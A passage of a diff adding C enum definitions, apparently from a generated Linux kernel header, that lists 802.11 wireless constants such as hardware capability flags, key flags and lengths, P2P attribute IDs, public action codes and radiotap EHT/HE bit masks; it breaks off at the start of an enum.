IEEE80211_HW_SUPPORTS_AMSDU_IN_AMPDU = 30, + IEEE80211_HW_BEACON_TX_STATUS = 31, + IEEE80211_HW_NEEDS_UNIQUE_STA_ADDR = 32, + IEEE80211_HW_SUPPORTS_REORDERING_BUFFER = 33, + IEEE80211_HW_USES_RSS = 34, + IEEE80211_HW_TX_AMSDU = 35, + IEEE80211_HW_TX_FRAG_LIST = 36, + IEEE80211_HW_REPORTS_LOW_ACK = 37, + IEEE80211_HW_SUPPORTS_TX_FRAG = 38, + IEEE80211_HW_SUPPORTS_TDLS_BUFFER_STA = 39, + IEEE80211_HW_DOESNT_SUPPORT_QOS_NDP = 40, + IEEE80211_HW_BUFF_MMPDU_TXQ = 41, + IEEE80211_HW_SUPPORTS_VHT_EXT_NSS_BW = 42, + IEEE80211_HW_STA_MMPDU_TXQ = 43, + IEEE80211_HW_TX_STATUS_NO_AMPDU_LEN = 44, + IEEE80211_HW_SUPPORTS_MULTI_BSSID = 45, + IEEE80211_HW_SUPPORTS_ONLY_HE_MULTI_BSSID = 46, + IEEE80211_HW_AMPDU_KEYBORDER_SUPPORT = 47, + IEEE80211_HW_SUPPORTS_TX_ENCAP_OFFLOAD = 48, + IEEE80211_HW_SUPPORTS_RX_DECAP_OFFLOAD = 49, + IEEE80211_HW_SUPPORTS_CONC_MON_RX_DECAP = 50, + IEEE80211_HW_DETECTS_COLOR_COLLISION = 51, + IEEE80211_HW_MLO_MCAST_MULTI_LINK_TX = 52, + IEEE80211_HW_DISALLOW_PUNCTURING = 53, + IEEE80211_HW_DISALLOW_PUNCTURING_5GHZ = 54, + IEEE80211_HW_HANDLES_QUIET_CSA = 55, + NUM_IEEE80211_HW_FLAGS = 56, +}; + +enum ieee80211_idle_options { + WLAN_IDLE_OPTIONS_PROTECTED_KEEP_ALIVE = 1, +}; + +enum ieee80211_interface_iteration_flags { + IEEE80211_IFACE_ITER_NORMAL = 0, + IEEE80211_IFACE_ITER_RESUME_ALL = 1, + IEEE80211_IFACE_ITER_ACTIVE = 2, + IEEE80211_IFACE_SKIP_SDATA_NOT_IN_DRIVER = 4, +}; + +enum ieee80211_internal_key_flags { + KEY_FLAG_UPLOADED_TO_HARDWARE = 1, + KEY_FLAG_TAINTED = 2, +}; + +enum ieee80211_internal_tkip_state { + TKIP_STATE_NOT_INIT = 0, + TKIP_STATE_PHASE1_DONE = 1, + TKIP_STATE_PHASE1_HW_UPLOADED = 2, +}; + +enum ieee80211_key_flags { + IEEE80211_KEY_FLAG_GENERATE_IV_MGMT = 1, + IEEE80211_KEY_FLAG_GENERATE_IV = 2, + IEEE80211_KEY_FLAG_GENERATE_MMIC = 4, + IEEE80211_KEY_FLAG_PAIRWISE = 8, + IEEE80211_KEY_FLAG_SW_MGMT_TX = 16, + IEEE80211_KEY_FLAG_PUT_IV_SPACE = 32, + IEEE80211_KEY_FLAG_RX_MGMT = 64, + IEEE80211_KEY_FLAG_RESERVE_TAILROOM = 128, + IEEE80211_KEY_FLAG_PUT_MIC_SPACE = 256, + IEEE80211_KEY_FLAG_NO_AUTO_TX = 512, + IEEE80211_KEY_FLAG_GENERATE_MMIE = 1024, + IEEE80211_KEY_FLAG_SPP_AMSDU = 2048, +}; + +enum ieee80211_key_len { + WLAN_KEY_LEN_WEP40 = 5, + WLAN_KEY_LEN_WEP104 = 13, + WLAN_KEY_LEN_CCMP = 16, + WLAN_KEY_LEN_CCMP_256 = 32, + WLAN_KEY_LEN_TKIP = 32, + WLAN_KEY_LEN_AES_CMAC = 16, + WLAN_KEY_LEN_SMS4 = 32, + WLAN_KEY_LEN_GCMP = 16, + WLAN_KEY_LEN_GCMP_256 = 32, + WLAN_KEY_LEN_BIP_CMAC_256 = 32, + WLAN_KEY_LEN_BIP_GMAC_128 = 16, + WLAN_KEY_LEN_BIP_GMAC_256 = 32, +}; + +enum ieee80211_max_ampdu_length_exp { + IEEE80211_HT_MAX_AMPDU_8K = 0, + IEEE80211_HT_MAX_AMPDU_16K = 1, + IEEE80211_HT_MAX_AMPDU_32K = 2, + IEEE80211_HT_MAX_AMPDU_64K = 3, +}; + +enum ieee80211_max_queues { + IEEE80211_MAX_QUEUES = 16, + IEEE80211_MAX_QUEUE_MAP = 65535, +}; + +enum ieee80211_mesh_path_metric { + IEEE80211_PATH_METRIC_AIRTIME = 1, + IEEE80211_PATH_METRIC_VENDOR = 255, +}; + +enum ieee80211_mesh_path_protocol { + IEEE80211_PATH_PROTOCOL_HWMP = 1, + IEEE80211_PATH_PROTOCOL_VENDOR = 255, +}; + +enum ieee80211_mesh_sync_method { + IEEE80211_SYNC_METHOD_NEIGHBOR_OFFSET = 1, + IEEE80211_SYNC_METHOD_VENDOR = 255, +}; + +enum ieee80211_min_mpdu_spacing { + IEEE80211_HT_MPDU_DENSITY_NONE = 0, + IEEE80211_HT_MPDU_DENSITY_0_25 = 1, + IEEE80211_HT_MPDU_DENSITY_0_5 = 2, + IEEE80211_HT_MPDU_DENSITY_1 = 3, + IEEE80211_HT_MPDU_DENSITY_2 = 4, + IEEE80211_HT_MPDU_DENSITY_4 = 5, + IEEE80211_HT_MPDU_DENSITY_8 = 6, + IEEE80211_HT_MPDU_DENSITY_16 = 7, +}; + +enum ieee80211_mle_subelems { + IEEE80211_MLE_SUBELEM_PER_STA_PROFILE = 0, + IEEE80211_MLE_SUBELEM_FRAGMENT = 254, +}; + +enum ieee80211_mlme_event_data { + AUTH_EVENT = 0, + ASSOC_EVENT = 1, + DEAUTH_RX_EVENT = 2, + DEAUTH_TX_EVENT = 3, +}; + +enum ieee80211_mlme_event_status { + MLME_SUCCESS = 0, + MLME_DENIED = 1, + MLME_TIMEOUT = 2, +}; + +enum ieee80211_neg_ttlm_res { + NEG_TTLM_RES_ACCEPT = 0, + NEG_TTLM_RES_REJECT = 1, + NEG_TTLM_RES_SUGGEST_PREFERRED = 2, +}; + +enum ieee80211_offload_flags { + IEEE80211_OFFLOAD_ENCAP_ENABLED = 1, + IEEE80211_OFFLOAD_ENCAP_4ADDR = 2, + IEEE80211_OFFLOAD_DECAP_ENABLED = 4, +}; + +enum ieee80211_p2p_attr_id { + IEEE80211_P2P_ATTR_STATUS = 0, + IEEE80211_P2P_ATTR_MINOR_REASON = 1, + IEEE80211_P2P_ATTR_CAPABILITY = 2, + IEEE80211_P2P_ATTR_DEVICE_ID = 3, + IEEE80211_P2P_ATTR_GO_INTENT = 4, + IEEE80211_P2P_ATTR_GO_CONFIG_TIMEOUT = 5, + IEEE80211_P2P_ATTR_LISTEN_CHANNEL = 6, + IEEE80211_P2P_ATTR_GROUP_BSSID = 7, + IEEE80211_P2P_ATTR_EXT_LISTEN_TIMING = 8, + IEEE80211_P2P_ATTR_INTENDED_IFACE_ADDR = 9, + IEEE80211_P2P_ATTR_MANAGABILITY = 10, + IEEE80211_P2P_ATTR_CHANNEL_LIST = 11, + IEEE80211_P2P_ATTR_ABSENCE_NOTICE = 12, + IEEE80211_P2P_ATTR_DEVICE_INFO = 13, + IEEE80211_P2P_ATTR_GROUP_INFO = 14, + IEEE80211_P2P_ATTR_GROUP_ID = 15, + IEEE80211_P2P_ATTR_INTERFACE = 16, + IEEE80211_P2P_ATTR_OPER_CHANNEL = 17, + IEEE80211_P2P_ATTR_INVITE_FLAGS = 18, + IEEE80211_P2P_ATTR_VENDOR_SPECIFIC = 221, + IEEE80211_P2P_ATTR_MAX = 222, +}; + +enum ieee80211_packet_rx_flags { + IEEE80211_RX_AMSDU = 8, + IEEE80211_RX_MALFORMED_ACTION_FRM = 16, + IEEE80211_RX_DEFERRED_RELEASE = 32, +}; + +enum ieee80211_privacy { + IEEE80211_PRIVACY_ON = 0, + IEEE80211_PRIVACY_OFF = 1, + IEEE80211_PRIVACY_ANY = 2, +}; + +enum ieee80211_protected_eht_actioncode { + WLAN_PROTECTED_EHT_ACTION_TTLM_REQ = 0, + WLAN_PROTECTED_EHT_ACTION_TTLM_RES = 1, + WLAN_PROTECTED_EHT_ACTION_TTLM_TEARDOWN = 2, +}; + +enum ieee80211_pub_actioncode { + WLAN_PUB_ACTION_20_40_BSS_COEX = 0, + WLAN_PUB_ACTION_DSE_ENABLEMENT = 1, + WLAN_PUB_ACTION_DSE_DEENABLEMENT = 2, + WLAN_PUB_ACTION_DSE_REG_LOC_ANN = 3, + WLAN_PUB_ACTION_EXT_CHANSW_ANN = 4, + WLAN_PUB_ACTION_DSE_MSMT_REQ = 5, + WLAN_PUB_ACTION_DSE_MSMT_RESP = 6, + WLAN_PUB_ACTION_MSMT_PILOT = 7, + WLAN_PUB_ACTION_DSE_PC = 8, + WLAN_PUB_ACTION_VENDOR_SPECIFIC = 9, + WLAN_PUB_ACTION_GAS_INITIAL_REQ = 10, + WLAN_PUB_ACTION_GAS_INITIAL_RESP = 11, + WLAN_PUB_ACTION_GAS_COMEBACK_REQ = 12, + WLAN_PUB_ACTION_GAS_COMEBACK_RESP = 13, + WLAN_PUB_ACTION_TDLS_DISCOVER_RES = 14, + WLAN_PUB_ACTION_LOC_TRACK_NOTI = 15, + WLAN_PUB_ACTION_QAB_REQUEST_FRAME = 16, + WLAN_PUB_ACTION_QAB_RESPONSE_FRAME = 17, + WLAN_PUB_ACTION_QMF_POLICY = 18, + WLAN_PUB_ACTION_QMF_POLICY_CHANGE = 19, + WLAN_PUB_ACTION_QLOAD_REQUEST = 20, + WLAN_PUB_ACTION_QLOAD_REPORT = 21, + WLAN_PUB_ACTION_HCCA_TXOP_ADVERT = 22, + WLAN_PUB_ACTION_HCCA_TXOP_RESPONSE = 23, + WLAN_PUB_ACTION_PUBLIC_KEY = 24, + WLAN_PUB_ACTION_CHANNEL_AVAIL_QUERY = 25, + WLAN_PUB_ACTION_CHANNEL_SCHEDULE_MGMT = 26, + WLAN_PUB_ACTION_CONTACT_VERI_SIGNAL = 27, + WLAN_PUB_ACTION_GDD_ENABLEMENT_REQ = 28, + WLAN_PUB_ACTION_GDD_ENABLEMENT_RESP = 29, + WLAN_PUB_ACTION_NETWORK_CHANNEL_CONTROL = 30, + WLAN_PUB_ACTION_WHITE_SPACE_MAP_ANN = 31, + WLAN_PUB_ACTION_FTM_REQUEST = 32, + WLAN_PUB_ACTION_FTM_RESPONSE = 33, + WLAN_PUB_ACTION_FILS_DISCOVERY = 34, +}; + +enum ieee80211_radiotap_ampdu_flags { + IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN = 1, + IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN = 2, + IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN = 4, + IEEE80211_RADIOTAP_AMPDU_IS_LAST = 8, + IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR = 16, + IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN = 32, + IEEE80211_RADIOTAP_AMPDU_EOF = 64, + IEEE80211_RADIOTAP_AMPDU_EOF_KNOWN = 128, +}; + +enum ieee80211_radiotap_channel_flags { + IEEE80211_CHAN_CCK = 32, + IEEE80211_CHAN_OFDM = 64, + IEEE80211_CHAN_2GHZ = 128, + IEEE80211_CHAN_5GHZ = 256, + IEEE80211_CHAN_DYN = 1024, + IEEE80211_CHAN_HALF = 16384, + IEEE80211_CHAN_QUARTER = 32768, +}; + +enum ieee80211_radiotap_eht_data { + IEEE80211_RADIOTAP_EHT_DATA0_SPATIAL_REUSE = 120, + IEEE80211_RADIOTAP_EHT_DATA0_GI = 384, + IEEE80211_RADIOTAP_EHT_DATA0_LTF = 1536, + IEEE80211_RADIOTAP_EHT_DATA0_EHT_LTF = 14336, + IEEE80211_RADIOTAP_EHT_DATA0_LDPC_EXTRA_SYM_OM = 16384, + IEEE80211_RADIOTAP_EHT_DATA0_PRE_PADD_FACOR_OM = 98304, + IEEE80211_RADIOTAP_EHT_DATA0_PE_DISAMBIGUITY_OM = 131072, + IEEE80211_RADIOTAP_EHT_DATA0_DISREGARD_S = 786432, + IEEE80211_RADIOTAP_EHT_DATA0_DISREGARD_O = 3932160, + IEEE80211_RADIOTAP_EHT_DATA0_CRC1_O = 62914560, + IEEE80211_RADIOTAP_EHT_DATA0_TAIL1_O = 4227858432, + IEEE80211_RADIOTAP_EHT_DATA1_RU_SIZE = 31, + IEEE80211_RADIOTAP_EHT_DATA1_RU_INDEX = 8160, + IEEE80211_RADIOTAP_EHT_DATA1_RU_ALLOC_CC_1_1_1 = 4186112, + IEEE80211_RADIOTAP_EHT_DATA1_RU_ALLOC_CC_1_1_1_KNOWN = 4194304, + IEEE80211_RADIOTAP_EHT_DATA1_PRIMARY_80 = 3221225472, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_2_1_1 = 511, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_2_1_1_KNOWN = 512, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_1_1_2 = 523264, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_1_1_2_KNOWN = 524288, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_2_1_2 = 535822336, + IEEE80211_RADIOTAP_EHT_DATA2_RU_ALLOC_CC_2_1_2_KNOWN = 536870912, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_1_2_1 = 511, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_1_2_1_KNOWN = 512, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_2_2_1 = 523264, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_2_2_1_KNOWN = 524288, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_1_2_2 = 535822336, + IEEE80211_RADIOTAP_EHT_DATA3_RU_ALLOC_CC_1_2_2_KNOWN = 536870912, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_2_2_2 = 511, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_2_2_2_KNOWN = 512, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_1_2_3 = 523264, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_1_2_3_KNOWN = 524288, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_2_2_3 = 535822336, + IEEE80211_RADIOTAP_EHT_DATA4_RU_ALLOC_CC_2_2_3_KNOWN = 536870912, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_1_2_4 = 511, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_1_2_4_KNOWN = 512, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_2_2_4 = 523264, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_2_2_4_KNOWN = 524288, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_1_2_5 = 535822336, + IEEE80211_RADIOTAP_EHT_DATA5_RU_ALLOC_CC_1_2_5_KNOWN = 536870912, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_2_2_5 = 511, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_2_2_5_KNOWN = 512, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_1_2_6 = 523264, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_1_2_6_KNOWN = 524288, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_2_2_6 = 535822336, + IEEE80211_RADIOTAP_EHT_DATA6_RU_ALLOC_CC_2_2_6_KNOWN = 536870912, + IEEE80211_RADIOTAP_EHT_DATA7_CRC2_O = 15, + IEEE80211_RADIOTAP_EHT_DATA7_TAIL_2_O = 1008, + IEEE80211_RADIOTAP_EHT_DATA7_NSS_S = 61440, + IEEE80211_RADIOTAP_EHT_DATA7_BEAMFORMED_S = 65536, + IEEE80211_RADIOTAP_EHT_DATA7_NUM_OF_NON_OFDMA_USERS = 917504, + IEEE80211_RADIOTAP_EHT_DATA7_USER_ENCODING_BLOCK_CRC = 15728640, + IEEE80211_RADIOTAP_EHT_DATA7_USER_ENCODING_BLOCK_TAIL = 1056964608, + IEEE80211_RADIOTAP_EHT_DATA8_RU_ALLOC_TB_FMT_PS_160 = 1, + IEEE80211_RADIOTAP_EHT_DATA8_RU_ALLOC_TB_FMT_B0 = 2, + IEEE80211_RADIOTAP_EHT_DATA8_RU_ALLOC_TB_FMT_B7_B1 = 508, +}; + +enum ieee80211_radiotap_eht_known { + IEEE80211_RADIOTAP_EHT_KNOWN_SPATIAL_REUSE = 2, + IEEE80211_RADIOTAP_EHT_KNOWN_GI = 4, + IEEE80211_RADIOTAP_EHT_KNOWN_EHT_LTF = 16, + IEEE80211_RADIOTAP_EHT_KNOWN_LDPC_EXTRA_SYM_OM = 32, + IEEE80211_RADIOTAP_EHT_KNOWN_PRE_PADD_FACOR_OM = 64, + IEEE80211_RADIOTAP_EHT_KNOWN_PE_DISAMBIGUITY_OM = 128, + IEEE80211_RADIOTAP_EHT_KNOWN_DISREGARD_O = 256, + IEEE80211_RADIOTAP_EHT_KNOWN_DISREGARD_S = 512, + IEEE80211_RADIOTAP_EHT_KNOWN_CRC1 = 8192, + IEEE80211_RADIOTAP_EHT_KNOWN_TAIL1 = 16384, + IEEE80211_RADIOTAP_EHT_KNOWN_CRC2_O = 32768, + IEEE80211_RADIOTAP_EHT_KNOWN_TAIL2_O = 65536, + IEEE80211_RADIOTAP_EHT_KNOWN_NSS_S = 131072, + IEEE80211_RADIOTAP_EHT_KNOWN_BEAMFORMED_S = 262144, + IEEE80211_RADIOTAP_EHT_KNOWN_NR_NON_OFDMA_USERS_M = 524288, + IEEE80211_RADIOTAP_EHT_KNOWN_ENCODING_BLOCK_CRC_M = 1048576, + IEEE80211_RADIOTAP_EHT_KNOWN_ENCODING_BLOCK_TAIL_M = 2097152, + IEEE80211_RADIOTAP_EHT_KNOWN_RU_MRU_SIZE_OM = 4194304, + IEEE80211_RADIOTAP_EHT_KNOWN_RU_MRU_INDEX_OM = 8388608, + IEEE80211_RADIOTAP_EHT_KNOWN_RU_ALLOC_TB_FMT = 16777216, + IEEE80211_RADIOTAP_EHT_KNOWN_PRIMARY_80 = 33554432, +}; + +enum ieee80211_radiotap_eht_user_info { + IEEE80211_RADIOTAP_EHT_USER_INFO_STA_ID_KNOWN = 1, + IEEE80211_RADIOTAP_EHT_USER_INFO_MCS_KNOWN = 2, + IEEE80211_RADIOTAP_EHT_USER_INFO_CODING_KNOWN = 4, + IEEE80211_RADIOTAP_EHT_USER_INFO_NSS_KNOWN_O = 16, + IEEE80211_RADIOTAP_EHT_USER_INFO_BEAMFORMING_KNOWN_O = 32, + IEEE80211_RADIOTAP_EHT_USER_INFO_SPATIAL_CONFIG_KNOWN_M = 64, + IEEE80211_RADIOTAP_EHT_USER_INFO_DATA_FOR_USER = 128, + IEEE80211_RADIOTAP_EHT_USER_INFO_STA_ID = 524032, + IEEE80211_RADIOTAP_EHT_USER_INFO_CODING = 524288, + IEEE80211_RADIOTAP_EHT_USER_INFO_MCS = 15728640, + IEEE80211_RADIOTAP_EHT_USER_INFO_NSS_O = 251658240, + IEEE80211_RADIOTAP_EHT_USER_INFO_BEAMFORMING_O = 536870912, + IEEE80211_RADIOTAP_EHT_USER_INFO_SPATIAL_CONFIG_M = 1056964608, + IEEE80211_RADIOTAP_EHT_USER_INFO_RESEVED_c0000000 = 3221225472, +}; + +enum ieee80211_radiotap_eht_usig_common { + IEEE80211_RADIOTAP_EHT_USIG_COMMON_PHY_VER_KNOWN = 1, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_KNOWN = 2, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_UL_DL_KNOWN = 4, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BSS_COLOR_KNOWN = 8, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_TXOP_KNOWN = 16, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BAD_USIG_CRC = 32, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_VALIDATE_BITS_CHECKED = 64, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_VALIDATE_BITS_OK = 128, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_PHY_VER = 28672, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW = 229376, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_20MHZ = 0, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_40MHZ = 1, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_80MHZ = 2, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_160MHZ = 3, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_320MHZ_1 = 4, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BW_320MHZ_2 = 5, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_UL_DL = 262144, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_BSS_COLOR = 33030144, + IEEE80211_RADIOTAP_EHT_USIG_COMMON_TXOP = 4261412864, +}; + +enum ieee80211_radiotap_eht_usig_mu { + IEEE80211_RADIOTAP_EHT_USIG1_MU_B20_B24_DISREGARD = 31, + IEEE80211_RADIOTAP_EHT_USIG1_MU_B25_VALIDATE = 32, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B0_B1_PPDU_TYPE = 192, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B2_VALIDATE = 256, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B3_B7_PUNCTURED_INFO = 15872, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B8_VALIDATE = 16384, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B9_B10_SIG_MCS = 98304, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B11_B15_EHT_SIG_SYMBOLS = 4063232, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B16_B19_CRC = 62914560, + IEEE80211_RADIOTAP_EHT_USIG2_MU_B20_B25_TAIL = 4227858432, +}; + +enum ieee80211_radiotap_eht_usig_tb { + IEEE80211_RADIOTAP_EHT_USIG1_TB_B20_B25_DISREGARD = 31, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B0_B1_PPDU_TYPE = 192, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B2_VALIDATE = 256, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B3_B6_SPATIAL_REUSE_1 = 7680, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B7_B10_SPATIAL_REUSE_2 = 122880, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B11_B15_DISREGARD = 4063232, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B16_B19_CRC = 62914560, + IEEE80211_RADIOTAP_EHT_USIG2_TB_B20_B25_TAIL = 4227858432, +}; + +enum ieee80211_radiotap_flags { + IEEE80211_RADIOTAP_F_CFP = 1, + IEEE80211_RADIOTAP_F_SHORTPRE = 2, + IEEE80211_RADIOTAP_F_WEP = 4, + IEEE80211_RADIOTAP_F_FRAG = 8, + IEEE80211_RADIOTAP_F_FCS = 16, + IEEE80211_RADIOTAP_F_DATAPAD = 32, + IEEE80211_RADIOTAP_F_BADFCS = 64, +}; + +enum ieee80211_radiotap_he_bits { + IEEE80211_RADIOTAP_HE_DATA1_FORMAT_MASK = 3, + IEEE80211_RADIOTAP_HE_DATA1_FORMAT_SU = 0, + IEEE80211_RADIOTAP_HE_DATA1_FORMAT_EXT_SU = 1, + IEEE80211_RADIOTAP_HE_DATA1_FORMAT_MU = 2, + IEEE80211_RADIOTAP_HE_DATA1_FORMAT_TRIG = 3, + IEEE80211_RADIOTAP_HE_DATA1_BSS_COLOR_KNOWN = 4, + IEEE80211_RADIOTAP_HE_DATA1_BEAM_CHANGE_KNOWN = 8, + IEEE80211_RADIOTAP_HE_DATA1_UL_DL_KNOWN = 16, + IEEE80211_RADIOTAP_HE_DATA1_DATA_MCS_KNOWN = 32, + IEEE80211_RADIOTAP_HE_DATA1_DATA_DCM_KNOWN = 64, + IEEE80211_RADIOTAP_HE_DATA1_CODING_KNOWN = 128, + IEEE80211_RADIOTAP_HE_DATA1_LDPC_XSYMSEG_KNOWN = 256, + IEEE80211_RADIOTAP_HE_DATA1_STBC_KNOWN = 512, + IEEE80211_RADIOTAP_HE_DATA1_SPTL_REUSE_KNOWN = 1024, + IEEE80211_RADIOTAP_HE_DATA1_SPTL_REUSE2_KNOWN = 2048, + IEEE80211_RADIOTAP_HE_DATA1_SPTL_REUSE3_KNOWN = 4096, + IEEE80211_RADIOTAP_HE_DATA1_SPTL_REUSE4_KNOWN = 8192, + IEEE80211_RADIOTAP_HE_DATA1_BW_RU_ALLOC_KNOWN = 16384, + IEEE80211_RADIOTAP_HE_DATA1_DOPPLER_KNOWN = 32768, + IEEE80211_RADIOTAP_HE_DATA2_PRISEC_80_KNOWN = 1, + IEEE80211_RADIOTAP_HE_DATA2_GI_KNOWN = 2, + IEEE80211_RADIOTAP_HE_DATA2_NUM_LTF_SYMS_KNOWN = 4, + IEEE80211_RADIOTAP_HE_DATA2_PRE_FEC_PAD_KNOWN = 8, + IEEE80211_RADIOTAP_HE_DATA2_TXBF_KNOWN = 16, + IEEE80211_RADIOTAP_HE_DATA2_PE_DISAMBIG_KNOWN = 32, + IEEE80211_RADIOTAP_HE_DATA2_TXOP_KNOWN = 64, + IEEE80211_RADIOTAP_HE_DATA2_MIDAMBLE_KNOWN = 128, + IEEE80211_RADIOTAP_HE_DATA2_RU_OFFSET = 16128, + IEEE80211_RADIOTAP_HE_DATA2_RU_OFFSET_KNOWN = 16384, + IEEE80211_RADIOTAP_HE_DATA2_PRISEC_80_SEC = 32768, + IEEE80211_RADIOTAP_HE_DATA3_BSS_COLOR = 63, + IEEE80211_RADIOTAP_HE_DATA3_BEAM_CHANGE = 64, + IEEE80211_RADIOTAP_HE_DATA3_UL_DL = 128, + IEEE80211_RADIOTAP_HE_DATA3_DATA_MCS = 3840, + IEEE80211_RADIOTAP_HE_DATA3_DATA_DCM = 4096, + IEEE80211_RADIOTAP_HE_DATA3_CODING = 8192, + IEEE80211_RADIOTAP_HE_DATA3_LDPC_XSYMSEG = 16384, + IEEE80211_RADIOTAP_HE_DATA3_STBC = 32768, + IEEE80211_RADIOTAP_HE_DATA4_SU_MU_SPTL_REUSE = 15, + IEEE80211_RADIOTAP_HE_DATA4_MU_STA_ID = 32752, + IEEE80211_RADIOTAP_HE_DATA4_TB_SPTL_REUSE1 = 15, + IEEE80211_RADIOTAP_HE_DATA4_TB_SPTL_REUSE2 = 240, + IEEE80211_RADIOTAP_HE_DATA4_TB_SPTL_REUSE3 = 3840, + IEEE80211_RADIOTAP_HE_DATA4_TB_SPTL_REUSE4 = 61440, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC = 15, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_20MHZ = 0, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_40MHZ = 1, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_80MHZ = 2, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_160MHZ = 3, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_26T = 4, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_52T = 5, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_106T = 6, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_242T = 7, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_484T = 8, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_996T = 9, + IEEE80211_RADIOTAP_HE_DATA5_DATA_BW_RU_ALLOC_2x996T = 10, + IEEE80211_RADIOTAP_HE_DATA5_GI = 48, + IEEE80211_RADIOTAP_HE_DATA5_GI_0_8 = 0, + IEEE80211_RADIOTAP_HE_DATA5_GI_1_6 = 1, + IEEE80211_RADIOTAP_HE_DATA5_GI_3_2 = 2, + IEEE80211_RADIOTAP_HE_DATA5_LTF_SIZE = 192, + IEEE80211_RADIOTAP_HE_DATA5_LTF_SIZE_UNKNOWN = 0, + IEEE80211_RADIOTAP_HE_DATA5_LTF_SIZE_1X = 1, + IEEE80211_RADIOTAP_HE_DATA5_LTF_SIZE_2X = 2, + IEEE80211_RADIOTAP_HE_DATA5_LTF_SIZE_4X = 3, + IEEE80211_RADIOTAP_HE_DATA5_NUM_LTF_SYMS = 1792, + IEEE80211_RADIOTAP_HE_DATA5_PRE_FEC_PAD = 12288, + IEEE80211_RADIOTAP_HE_DATA5_TXBF = 16384, + IEEE80211_RADIOTAP_HE_DATA5_PE_DISAMBIG = 32768, + IEEE80211_RADIOTAP_HE_DATA6_NSTS = 15, + IEEE80211_RADIOTAP_HE_DATA6_DOPPLER = 16, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW_KNOWN = 32, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW = 192, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW_20MHZ = 0, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW_40MHZ = 1, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW_80MHZ = 2, + IEEE80211_RADIOTAP_HE_DATA6_TB_PPDU_BW_160MHZ = 3, + IEEE80211_RADIOTAP_HE_DATA6_TXOP = 32512, + IEEE80211_RADIOTAP_HE_DATA6_MIDAMBLE_PDCTY = 32768, +}; + +enum ieee80211_radiotap_he_mu_bits { + 